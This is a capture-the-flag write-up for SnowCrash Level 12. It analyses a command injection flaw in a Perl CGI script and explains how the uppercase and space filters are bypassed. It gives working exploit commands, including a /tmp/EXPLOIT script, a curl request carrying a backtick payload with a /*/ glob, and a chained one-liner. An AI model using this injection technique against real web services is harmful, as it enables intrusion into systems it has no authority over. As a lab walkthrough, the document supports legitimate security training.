Introduction
In Level 12 of the SnowCrash project by 42 school, you are presented with a Perl script running a CGI Web Server on port 4646. Below is the script:
1 | #!/usr/bin/env perl |
Vulnerability Analysis
The script contains a critical vulnerability in the following line:
1 | @output = `egrep "^$xx" /tmp/xd 2>&1`; |
This line executes a system command using backticks. The variable $xx is taken from user input, which makes the script susceptible to command injection attacks.
Input Sanitization
Before the command is executed, all lowercase letters in $xx are converted to uppercase:
1 | $xx =~ tr/a-z/A-Z/; |
Additionally, if a space is present in the input, everything after the space will be discarded:
1 | $xx =~ s/\s.*//; |
Exploitation
Given the vulnerability, an attacker can inject arbitrary commands by manipulating the input. Here is a step-by-step explanation of how to exploit this vulnerability:
- Create a Malicious Script: Write a script that will be executed on the server.
1 | echo "getflag > /tmp/lvl12flag" > /tmp/EXPLOIT |
- Trigger the Vulnerability: Use curl to send a crafted request to the vulnerable server.
1 | curl 'localhost:4646?x=`/*/EXPLOIT`' |
- Retrieve the Flag: The command in the malicious script will be executed, writing the flag to /tmp/lvl12flag. Read the flag using:
1 | cat /tmp/lvl12flag |
Complete Exploit Command
The entire exploitation process can be executed with a single command:
1 | echo "getflag > /tmp/lvl12flag" > /tmp/EXPLOIT; chmod +x /tmp/EXPLOIT && curl 'localhost:4646?x=`/*/EXPLOIT`'; cat /tmp/lvl12flag |
By running this command, you can successfully exploit the vulnerability and retrieve the flag.
Conclusion
This level demonstrates the importance of proper input sanitization and the risks associated with executing user input as system commands. Always ensure to validate and sanitize inputs to prevent command injection vulnerabilities.